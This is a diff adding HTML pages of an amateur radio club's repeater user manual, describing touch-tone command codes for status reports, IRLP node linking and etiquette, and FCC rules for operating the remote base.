+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>81</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Using this command you can hear a short recording of your signal as the repeater received it to evaluate 
+                       how well you're being heard by the repeater. This can be helpful to ensure that your signal is adequate 
+                       for a reliable autopatch or to help evaluate issues with your signal.
+                       <OL>
+                               <LI>Key your transmitter and enter command code 81
+                               <LI>Unkey your transmitter and wait for the courtesy beep
+                               <LI>Key your transmitter and make a short transmission
+                               <LI>Unkey your transmitter
+                       </OL>
+                       The system will then replay a recording of your last transmission.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+       
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Report Your Signal Level on one of the UHF Repeaters</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>82</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command reports the average of your signal level over the last several seconds of your 
+                       transmission and the high (maximum) value during your entire transmission. The command only 
+                       functions on the N8DNX and KO8P repeaters.
+                       <P>
+                       At this point a short description of the UHF receiver systems is in order to help you understand 
+                       the signal levels reported by this command code. Briefly, both UHF repeaters use the same antenna, 
+                       preamplifier, transmission line and distribution amplifier. The following table lists, in order, 
+                       various parts of the receive system with gains and losses.
+                       <P>
+                       <TABLE BORDER="0">
+                               <TR><TH ALIGN="left">Antenna</TH>                       <TD>+9 db</TD></TR>
+                               <TR><TH ALIGN="left">Preamp Front-end Filter</TH>       <TD>-.4 db</TD></TR>
+                               <TR><TH ALIGN="left">Preamp</TH>                        <TD>+20 db (noise figure aprox .5 db)</TD></TR>
+                               <TR><TH ALIGN="left">Protector, DC pickoff</TH>         <TD>-.3 db</TD></TR>
+                               <TR><TH ALIGN="left">Transmission line</TH>             <TD>-14.9 db</TD></TR>
+                               <TR><TH ALIGN="left">Protector</TH>                     <TD>-.3 db</TD></TR>
+                               <TR><TH ALIGN="left">DC Power Injector</TH>             <TD>-.3 db</TD></TR>
+                               <TR><TH ALIGN="left">Distribution Amplifier</TH>        <TD>+12 db</TD></TR>
+                               <TR><TH ALIGN="left">Signal Splitter</TH>               <TD>-3 db</TD></TR>
+                               <TR><TH ALIGN="left">&nbsp;</TH>                        <TD><HR></TD></TR>
+                               <TR><TH ALIGN="left">Net gain after front-end filter</TH><TD>+13.2 db</TD></TR>
+                       </TABLE>
+                       <P>
+                       Since there is adequate gain in the system to overcome any loss after the preamplifier, the 
+                       system noise figure (sensitivity) is effectively set at the preamplifier. The signal delivered to 
+                       the receiver, where the signal level is measured, has a net gain of +13.2 db over the level of 
+                       signals at the input to the preamplifier. As a result, the reported signal levels may seem a bit 
+                       higher than you would normally expect for the quality of signal received since I did not compensate 
+                       for this when I calibrated it. (Perhaps I will some time in the future.)
+                       <P>
+                       The following table can be used to convert the dbm readings to uv (microvolts) at the receiver and 
+                       preamplifier inputs, and to gain an understanding of what these numbers mean in practical terms.
+                       <P>
+                       <TABLE BORDER="0">
+                               <TR><TH>dbm</TH><TH>At receiver</TH><TH>At preamp</TH><TH>Comment</TH></TR>
+                               <TR><TD>-113</TD>       <TD>.5 uv</TD>  <TD>.1 uv</TD>  <TD>Lowest possible reading</TD></TR>
+                               <TR><TD>-110</TD>       <TD>.7 uv</TD>  <TD>.15 uv</TD> <TD>Weak signal, copyable</TD></TR>
+                               <TR><TD>-100</TD>       <TD>2.2 uv</TD> <TD>.48 uv</TD> <TD>Some noise, good signal</TD></TR>
+                               <TR><TD>-90</TD>        <TD>7.1 uv</TD> <TD>1.5 uv</TD> <TD>Little noise, solid signal</TD></TR>
+                               <TR><TD>-80</TD>        <TD>22 uv</TD>  <TD>4.8 uv</TD> <TD>Near full quieting</TD></TR>
+                               <TR><TD>-70</TD>        <TD>71 uv</TD>  <TD>15 uv</TD>  <TD>Excellent signal</TD></TR>
+                               <TR><TD>-66</TD>        <TD>112 uv</TD> <TD>25 uv</TD>  <TD>Highest possible reading</TD></TR>
+                       </TABLE>
+                       <P>
+                       <B>Note:</B> Due to limitations in the signal level reporting of the repeater, -113 is the weakest 
+                       reading, and -66 is the strongest reading that can be reported. Signals stronger than -66 dbm will 
+                       still read approximately that value. Also, due to a slight increase in loss at the front-end filter 
+                       on the input frequency of the KO8P repeater, readings on that repeater will be slightly worse than the N8DNX repeater.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Test and Diagnostic Commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>89</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       This command plays a brief polite voice message describing the test and diagnostic command codes.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Status"></A>
+               &nbsp;<P><U>System Status Commands</U>&nbsp;<P></TH></TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>System Status Summary</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>90</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to produce a report of all system status values. The values reported are:
+                       <DL>
+                               <DD>Date and time
+                               <DD>Backup battery current
+                               <DD>Backup battery voltage
+                               <DD>DC Supply voltage
+                               <DD>UHF #1 (N8DNX) "Squelch Low" status
+                               <DD>UHF preamp current
+                       </DL>
+                       For an explanation of these values see the appropriate individual command below.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Backup Battery Current</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>91</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Report the present averaged value of current through the backup battery bank. This command 
+                       reports the "absolute value" of the battery current (only the amount of current, not 
+                       whether it's into or out of the batteries).
+                       <P>
+                       Normally, the battery backup system charges the backup batteries as they are being used. 
+                       The amount of current being reported is actually the net current between the charge and 
+                       load currents. During a power failure, you are likely to see current values up to, or 
+                       exceeding, 100 amps. Also, since the N8DNX power amplifier is tied directly to the backup 
+                       batteries, you may see values exceeding 50 amps at times when AC power is present.
+                       <P>
+                       <B>Note:</B> At this time there is a problem with obtaining a reliable value of current from 
+                       the backup battery current shunt amplifier. Values may not be correct or even close.  
+                       (I hope to fix that sometime next spring.)
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Backup Battery Voltage</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>92</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command reports the voltage present on the backup batteries. When AC power is present, 
+                       a voltage or 13 volts or greater is  normal. Lower voltages indicate that there is currently 
+                       an AC power failure, or the has been and the batteries are still being charged.
+                       <P>
+                       <B>Note:</B> When the backup battery voltage is less than 12.8 volts, but greater than 11.5 
+                       volts, the repeater courtesy beeps on the W8GQN and N8DNX repeaters will change to a CW "B". 
+                       This indicates that the system is on, or recovering from an AC power failure. A CW "BL" 
+                       indicates that the battery voltage is less than 11.5 volts (battery low). The power inverter 
+                       will automatically shut off, and the repeaters will cease to function, when the voltage reaches 
+                       about 10.5 volts. This is necessary to protect the batteries.  
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>DC Supply Voltage</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>93</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command reports the voltage present at the DC input of the RLC-3 repeater controller 
+                       and roughly represents the voltage of the DC power supply used to power the controller and 
+                       various other devices in the repeater system. This value should always be roughly 13.8 volts.
+                       <P>
+                       <B>Note:</B> The DC power supply is used to power devices that require 12V DC, but that 
+                       won't operate properly with the reduced or varying voltage available on the backup batteries. 
+                       During an AC power failure, the backup system will automatically switch in and produce AC power 
+                       from a 1 KW power inverter to all devices that require AC power, including the DC power supply. 
+                       This permits these devices to continue operate during an AC power failure as they normally would 
+                       when AC is present.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Date and Time</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>94</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Report the current Date and Time as known by the internal clock in the repeater controller.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Room Temperature</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>95</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command reports the temperature inside the repeater room. During the winter, the repeater 
+                       room is normally kept warm by heat passing through the wall from the broadcast transmitters 
+                       in the next room. In extreme conditions, an AC heater in the room will provide additional heat to 
+                       keep the room above about 55 degrees.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>UHF #1 (N8DNX) SQ (Squelch) Low Status</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>96</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Enter this command to report the status of the "Squelch Low" control line to the N8DNX repeater. 
+                       When "Squelch Low" is on, the squelch on the repeater is set to be slightly more sensitive. 
+                       When "Squelch Low" is off, the squelch on the repeater is set a bit tighter-which can be helpful 
+                       for eliminating low-level interference. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>UHF Preamp Current</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>98</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       This command reports the DC supply current to the tower-mounted UHF preamplifier. A normal value 
+                       is approximately 220 ma. Any value significantly different from that may indicate a problem with 
+                       the UHF preamplifier. 
+                       <P>
+                       <B>Note:</B> The UHF preamplifier is actually a redundant pair of individual preamplifier stages. 
+                       Either of the two preamplifier circuits can fail and the system will continue to function, although 
+                       with a slightly worse system noise figure and about 3 db less gain. The failure of one of these 
+                       two redundant pairs  may cause a decrease or increase in the current reported by this command.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Test and Diagnostic Commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>99</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing the system status functions.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+</TABLE>
+<P>
+&nbsp;
+<P>
+<A NAME="IRLP"></A>
+<H2>IRLP - Internet Radio Linking Project</H2>
+<P>
+The "Internet Radio Linking Project" (IRLP) is a cooperative project to link distant Amateur Radio stations and 
+repeaters (nodes) over the Internet. IRLP permits the operator at one node to select, and connect to, any other 
+available distant node by entering specific commands. Once connected, radio users within range of either connected 
+node can enter into a QSO as if they are all using the same local repeater. IRLP nodes are located all over the 
+world and as such provide an opportunity for DX, of sorts, for local users. Currently, there are more than 275 nodes, 
+many in North America, but a number scattered across the world.
+<P>
+<B>Note:</B> You do not need a higher-class license to use the IRLP system. If your license permits you to use a 
+repeater, then you are permitted to use IRLP.
+<P>
+A status page with a list of nodes and status of each is available over the Internet at <A HREF="http://status.irlp.net">http://status.irlp.net</A>.
+<P>
+A four-digit number designates each node. The on-line status page lists the node number, call letters, location, 
+last status update and present status of each node. The preset status will be one of the following values.
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">DOWN</TH>                  <TD>Node is currently out of operation or unreachable</TD></TR>
+       <TR><TH ALIGN="left">IDLE</TH>                  <TD>Node is operational and available for a connection</TD></TR>
+       <TR><TH ALIGN="left">REF#</TH>                  <TD>Node is connected to an IRLP reflector. Connect to that reflector 
+                                                               to contact users of the node.</TD></TR>
+       <TR><TH ALIGN="left">{anything&nbsp;else}</TH>  <TD>The call sign or name of another node to which it is connected-the 
+                                                               node is unavailable.</TD></TR>
+</TABLE></DL>
+<P>
+Reflectors are central servers that permit more than 2 IRLP nodes to connect to each other at one time. These 
+reflectors permit a "round table" of sorts between users of 2 or more nodes. You may connect to a reflector just 
+as you would to any specific node. The only difference is that you never know where you may reach or whom you may contact!
+<P>
+You connect to a remote node or reflector by entering a command prefix (38) followed by the number of the node. To disconnect
+from any IRLP node, use "38 73".
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">38 {nnn}</TH>      <TD>Connect to node number {nnn}</TD></TR>
+       <TR><TH ALIGN="left">38 73</TH>         <TD>Disconnect from any node</TD></TR>
+</TABLE></DL
+<P>
+When you connect to a distant IRLP node, you will hear a message indicating that you are connected to their node. 
+Similarly, when you connect to the distant node, that node will transmit a message indicating which node has connected to 
+it.  Below are examples for connecting to, and disconnecting from, WB8NXP's IRLP node on his repeater in Southfield MI.
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">38 4460</TH>       <TD>Connect to node 446 in Southfield (talk to stations in Southfield)</TD></TR>
+       <TR><TH ALIGN="left">38 73</TH>         <TD>Disconnect from node 446 in Southfield</TD></TR>
+</TABLE></DL>
+<P>
+Users of other IRLP nodes may also connect to our IRLP node. If any call from another node comes in while IRLP is not 
+connected to one of the repeaters, the IRLP system will automatically connect to the W8GQN VHF repeater and the incomming call
+will be heard there.
+<P>
+Note: The following are special commands to the IRLP node. These commands are unique to the IRLP node on our system and 
+will not function on other IRLP nodes. These do not connect to other IRLP nodes. Instead they perform functions local to 
+the IRLP computer, such as playing an ARRL News recording. 
+
+<P>
+<DL><DD><TABLE BORDER="0">
+       <TR><TH ALIGN="left">38 73</TH> <TD>Stop playing recorded audio news</TD></TR>
+       <TR><TH ALIGN="left">38 0001</TH>       <TD>Play the most recent ARRL Audio News Bulletin (Updated late Saturday night)</TD></TR>
+       <TR><TH ALIGN="left">38 0002</TH>       <TD>Play the most recent Amateur Radio Newsline (Updated late Saturday night)</TD></TR>
+       <TR><TH ALIGN="left">38 0003</TH>       <TD>Play the most recent This Week in Amateur Radio (Updated early Sunday morning)</TD></TR>
+       <TR><TH ALIGN="left">38 0101</TH>       <TD>Play Pelston Airport weather (Updated hourly - on the hour)</TD></TR>
+       <TR><TH ALIGN="left">38 0102</TH>       <TD>Play statistics report from most receint IRLP connection</TD></TR>
+       <TR><TH ALIGN="left">38 0103</TH>       <TD>Play Propagation report (Updated hourly - :05 after the hour)</TD></TR>
+       <TR><TH ALIGN="left">38 0104</TH>       <TD>Play list of nearby APRS stations</TD></TR>
+       <TR><TH ALIGN="left">38 0199</TH>       <TD>Play a silly message</TD></TR>
+</TABLE></DL>
+<P>
+Operation on the IRLP network is very similar to operation on the local repeater, with a few exceptions.
+<P>
+<A NAME="IRLPGuidlines"></A>
+<H3>General IRLP node use guidelines:</H3>
+<UL>
+       <LI>Be considerate and patient with other IRLP users. There are new IRLP nodes being added all the time and inexperienced users trying the system every day-try to make them welcome. Remember, you are Northern Michigan's "ambassadors" to the world. 
+       <LI>Do not tie up the W8GQN SAARC club repeater for extended times with IRLP operation during peak use hours for the repeater. The KO8P repeater is preferred for long-term remote base and IRLP operations.
+       <LI>Assist traveling Hams with use of the IRLP system. If they've used IRLP elsewhere, they may be familiar with needing a prefix before the IRLP Node nuimber. There is no problem with informing them on how to use our IRLP Node.
+</UL>
+When connected to another IRLP node:
+<UL>
+       <LI>Wait 10-15 seconds after connecting to a distant IRLP node to account for transmission of the voice message on the distant IRLP node.
+       <LI>Allow an extra second or two between transmissions to account for network delays.
+       <LI>Include your city and state when you ID. Users of the distant IRLP node may not know you are not a local user.
+       <LI>Immediately after connecting to a distant IRLP node, identify with your call, city and state. 
+       <LI>Identify and state that you are disconnecting before disconnecting from a distant IRLP node. 
+</UL>
+When connected to an IRLP Reflector (in addition to the above):
+<UL>
+       <LI>Always permit extra time between transmissions to account for network delays and for other stations to join or leave a discussion. (Some nodes cannot disconnect when someone is talking.)
+       <LI>Identify before sending any DTMF commands, such as to disconnect from a node.
+       <LI>Hold your microphone PTT for about 1 second before talking to allow for network delays.
+       <LI>To break into a QSO, state your call sign once during a pause in traffic.
+       <LI>Don't break into a QSO simply to "work" one of the stations. Do break into a QSO to join a conversation.
+       <LI>When more than 2 people are in a QSO on a reflector, try to maintain an organized "round table" format.
+       <LI>Do not start a "Net" on a reflector without the permission of the reflector owner.
+       <LI>If you are experiencing interference to the local repeater, disconnect from the reflector to avoid interfering with other user's transmissions.
+       <LI>Keep in mind that there may at times be many users on the same reflector. Always be courteous and patient!
+</UL>
+For a detailed description of IRLP, additional operating guidelines, and how you can participate, go to 
+<A HREF="http://www.irlp.net">http://www.irlp.net</A>. 
+<P>
+&nbsp;
+<P>
+
+<A NAME="CommandRef"></A>
+<H2>User Command Reference</H2>
+
+User Levels: 0 = Public user, 1 = Club member
+
+<TABLE BORDER="1">
+       <TR><TH>Command</TH>    <TH>Function</TH>       <TH>Min User Level</TH></TR>
+       <TR><TD>*00</TD>        <TD>VHF Repeater PL By-Pass for 15 Minutes</TD> <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>* {phone#}</TD> <TD>Dial {phone#} on autopatch</TD>     <TD>0</TD></TR>
+       <TR><TD>#</TD>  <TD>Hang up autopatch</TD>      <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>19</TD> <TD>Help with Autopatch commands</TD>   <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>20</TD> <TD>Check for public mail - Announces who mail is for.</TD>     <TD>0</TD></TR>
+       <TR><TD>21 {message#}</TD>      <TD>Retrieve public mail message.</TD>  <TD>0</TD></TR>
+       <TR><TD>22</TD> <TD>Erase the public mail message just retrieved<BR>
+                               (May only be used after command 21.)</TD> <TD>0</TD></TR>
+       <TR><TD>23</TD> <TD>Record a public mail message</TD>   <TD>0</TD></TR>
+       <TR><TD>24 {user #}</TD>        <TD>Retrieve private mail</TD>  <TD>1</TD></TR>
+       <TR><TD>25</TD> <TD>Erase private mail</TD>     <TD>1</TD></TR>
+       <TR><TD>26 {user #}</TD>        <TD>Record private mail for {user#}</TD>        <TD>1</TD></TR>
+       <TR><TD>27</TD> <TD>Play club bulletins</TD>    <TD>0</TD></TR>
+       <TR><TD>270</TD>        <TD>Play expanded club bulletin</TD>    <TD>0</TD></TR>
+       <TR><TD>28</TD> <TD>Play N8DNX repeater bulletins</TD>  <TD>0</TD></TR>
+       <TR><TD>280</TD>        <TD>Play expanded N8DNX bulletin</TD>   <TD>0</TD></TR>
+       <TR><TD>29</TD> <TD>Help with message commands</TD>     <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>30</TD> <TD>Intra-system linking off</TD>       <TD>1</TD></TR>
+       <TR><TD>31</TD> <TD>Monitor W8GQN repeater from current repeater</TD>   <TD>1</TD></TR>
+       <TR><TD>32</TD> <TD>Link to W8GQN repeater from current repeater</TD>   <TD>1</TD></TR>
+       <TR><TD>33</TD> <TD>Monitor N8DNX repeater from current repeater</TD>   <TD>1</TD></TR>
+       <TR><TD>34</TD> <TD>Link to N8DNX repeater from current repeater</TD>   <TD>1</TD></TR>
+       <TR><TD>35</TD> <TD>Monitor KO8P repeater from current repeater</TD>    <TD>1</TD></TR>
+       <TR><TD>36</TD> <TD>Link to KO8P repeater from current repeater</TD>    <TD>1</TD></TR>
+       <TR><TD>38 {node#}</TD> <TD>Connect to IRLP node {node#}</TD>   <TD>0</TD></TR>
+       <TR><TD>38 73</TD>      <TD>Disconnect or stop playing audio news program</TD> <TD>0</TD></TR>
+       <TR><TD>38 0001</TD>    <TD>Play ARRL Audio News (must be linked to IRLP)</TD>  <TD>0</TD></TR>
+       <TR><TD>38 0002</TD>    <TD>Play Amateur Radio Newsline (must be linked to IRLP)</TD>   <TD>0</TD></TR>
+       <TR><TD>38 0003</TD>    <TD>Play This Week in Amateur Radio (must be linked to IRLP)</TD>       <TD>0</TD></TR>
+       <TR><TD>38 0101</TD>    <TD>Play Pelston Airport Weather (must be linked to IRLP)</TD>  <TD>0</TD></TR>
+       <TR><TD>38 0102</TD>    <TD>Play stats on last IRLP connection (must be linked to IRLP)</TD>    <TD>0</TD></TR>
+       <TR><TD>38 0103</TD>    <TD>Play Propagation report (must be linked to IRLP)</TD>       <TD>0</TD></TR>
+       <TR><TD>38 0104</TD>    <TD>Play list of nearby APRS stations (must be linked to IRLP)</TD>     <TD>0</TD></TR>
+       <TR><TD>38 0199</TD>    <TD>Play a silly message (must be linked to IRLP)</TD>  <TD>0</TD></TR>
+       <TR><TD>39</TD> <TD>Help with intra-system linking Messages</TD>        <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>40</TD> <TD>Link Off</TD>       <TD>0</TD></TR>
+       <TR><TD>41</TD> <TD>Toggle link Transmit On/Off</TD>    <TD>0</TD></TR>
+       <TR><TD>400</TD>        <TD>Link to 146.74 repeater (from current repeater)</TD>        <TD>1</TD></TR>
+       <TR><TD>401</TD>        <TD>Link to IRLP (from current repeater)</TD>   <TD>1</TD></TR>
+       <TR><TD>410</TD>        <TD>Link to 29.6 FM (from current repeater)</TD>        <TD>1</TD></TR>
+       <TR><TD>49</TD> <TD>Help with inter-system linking commands</TD>        <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>50</TD> <TD>External linking / Remote Base off</TD>     <TD>1</TD></TR>
+       <TR><TD>51</TD> <TD>Enter remote base mode (UHF repeater only per Part 97)</TD> <TD>1</TD></TR>
+       <TR><TD>52</TD> <TD>Toggle TX/RX for current link (pending)</TD>        <TD>1</TD></TR>
+       <TR><TD>500</TD>        <TD>Link to 146.740 repeater (pending) ???????</TD>     <TD>1</TD></TR>
+       <TR><TD>59</TD> <TD>Help with remote base commands</TD> <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>60</TD> <TD>Listen to weather radio - 2 minutes</TD>    <TD>0</TD></TR>
+       <TR><TD>61</TD> <TD>Stop listening to weather radio</TD>        <TD>0</TD></TR>
+       <TR><TD>62</TD> <TD>Replay last recorder weather alert</TD>     <TD>0</TD></TR>
+       <TR><TD>63</TD> <TD>Outside temperature (pending)</TD>  <TD>0</TD></TR>
+       <TR><TD>64</TD> <TD>Wind speed (pending)</TD>   <TD>0</TD></TR>
+       <TR><TD>69</TD> <TD>Help with weather related commands</TD>     <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>70</TD> <TD>List who is currently logged in</TD>        <TD>0</TD></TR>
+       <TR><TD>71 {user#} {pass}</TD>  <TD>Log into system as user {user#} with passcode {pass}</TD>   <TD>0</TD></TR>
+       <TR><TD>72</TD> <TD>Log out of system</TD>      <TD>1</TD></TR>
+       <TR><TD>79</TD> <TD>Help with user access commands</TD> <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>80 {digits}</TD>        <TD>Touch tone pad test - repeat {digits}</TD>  <TD>0</TD></TR>
+       <TR><TD>81</TD> <TD>Audio test - replay next transmission<BR>
+                               Enter command 81, wait for the courtesy tone, key up and speak</TD>     <TD>0</TD></TR>
+       <TR><TD>89</TD> <TD>Help with test commands</TD>        <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>90</TD> <TD>Total system status report</TD>     <TD>0</TD></TR>
+       <TR><TD>91</TD> <TD>Backup battery current</TD> <TD>0</TD></TR>
+       <TR><TD>92</TD> <TD>Backup battery voltage</TD> <TD>0</TD></TR>
+       <TR><TD>93</TD> <TD>DC supply voltage</TD>      <TD>0</TD></TR>
+       <TR><TD>94</TD> <TD>Date and Time</TD>  <TD></TD></TR>
+       <TR><TD>95</TD> <TD>Room Temperature</TD>       <TD>0</TD></TR>
+       <TR><TD>97</TD> <TD>Report received signal strength - (UHF Repeaters Only)<BR>
+                               Reported in dbm.</TD>   <TD>0</TD></TR>
+       <TR><TD>98</TD> <TD>UHF receive preamp current (should be about 220ma).</TD>    <TD>0</TD></TR>
+       <TR><TD>99</TD> <TD>Help with system status commands</TD>       <TD>0</TD></TR>
+
+       <TR><TD COLSPAN="3">&nbsp;</TD></TR>
+
+       <TR><TD>999</TD>        <TD>System information and help overview</TD>   <TD>0</TD></TR>
+</TABLE>
+<P>
+&nbsp;
+<P>
+<A NAME="RemoteBase"></A>
+<H2>Remote Base User's Manual</H2>
+<P>
+The remote base system is capable of receiving from .1 to 30 MHz, transmitting on the HF Ham bands, and receiving and 
+transmitting on the 50 MHz, 144 MHz, 220 MHz, and 440 MHz Ham bands using LSB, USB, AM, and FM modes. There is also 
+a CW mode, but as there is no way to remotely key the transmitter, it's of little practical use other than receiving.
+<P>
+<B>Note:</B> There may be transmitting limitations due to the antennas connected to the remote base. As of this time, 
+the HF transmit antenna is only useable on 20 Meters and above and there is not yet a 50 MHz antenna on the system. 
+Expanded antenna systems are in the works and will be installed in the Spring of 2002. Please contact N8DNX for current 
+information.
+<P>
+Operation of the remote base system will seem daunting at first, but you'll soon find that commonly used functions will 
+be easy to remember and start to make sense. It's however suggested that you cut out the "Remote Base Quick Reference 
+Guide" and have it available whenever operating the remote base.
+<P>
+<H3>The Remote Base and the Law</H3>
+<P>
+According to 97.3 (38) of the FCC rules, operation of the Remote Base is considered "Remote Control" of an amateur radio 
+station. A remotely controlled station must be controlled using certain frequencies above 220 MHz. As such, operation 
+of the Remote Base system is not permitted on the W8GQN VHF repeater. Remote base operation is therefore only permitted 
+on the N8DNX UHF repeaters.
+<P>
+A station operating under remote control may not be "automatically controlled". When you use the remote base system, 
+you are the control operator of that remotely controlled station. As such, you should identify the remote base using your 
+own call letters. The proper way to identify would be "This is {your call} remote base". If you wish to be more precise, 
+you may identify with "This is {your call} operating the N8DNX remote base". Please follow all requirements for 
+identification when operating the remote base system.
+<P>
+Since you are the control operator when you operate the remote base system, you are fully responsible for its operation. 
+Do not leave the remote base system enabled when you are not available to monitor or control its operation.
+<P>
+You may allow others users on the repeater to operate through the remote base while you are in control, even if their 
+license class does not permit them to operate on the frequency or mode you have set. This is analogous to permitting 
+someone else to talk into the microphone of your home station while you are at the controls. You are, however, fully 
+responsible for their use of the remote base and you must properly identify the remote base operation with your call letters 
+as mentioned above.
+<P>
+<H3>Turning on the Remote Base System</H3>
+<P>
+You will need to log into the system before turning on the remote base system. Your user ID is assigned according to your 
+license class. When you log into the system with your ID and Pass Code, the system will know what license class you have 
+and will limit the frequencies on which you can transmit accordingly. Once you're logged in, enter command code 50 to turn 
+on the remote base. You cannot enter commands to the remote base system if you are not logged in!  
+<P>
+When you turn on the remote base system, you will only be able to enter commands to the remote base system and will not 
+be able to use the set of normal control codes. To enter normal control codes, you must first turn off the remote base.
+<P>
+<A NAME="RemoteCmds"></A>
+<H3>Remote Base Command Codes</H3>
+<P>
+All remote base commands begin with a "7". This access digit prevents accidentally entering a short, single digit, command. 
+The next digits of the command designate specific function and any additional digits that need to be specified.
+<P>
+You will note that there is some logic to how these commands are laid out on a normal Touch Tone pad. For example, 
+all of the commands to bump the frequency down are located on the left column while all of the commands to bump the 
+frequency up are located on the right column (with the exception of "7 A" and "7 B", isn't there always an exception). 
+As you learn these commands, think more about their location on the keypad and less about the actual command numbers and 
+you may find them easier to remember.
+<P>
+<TABLE BORDER="0">
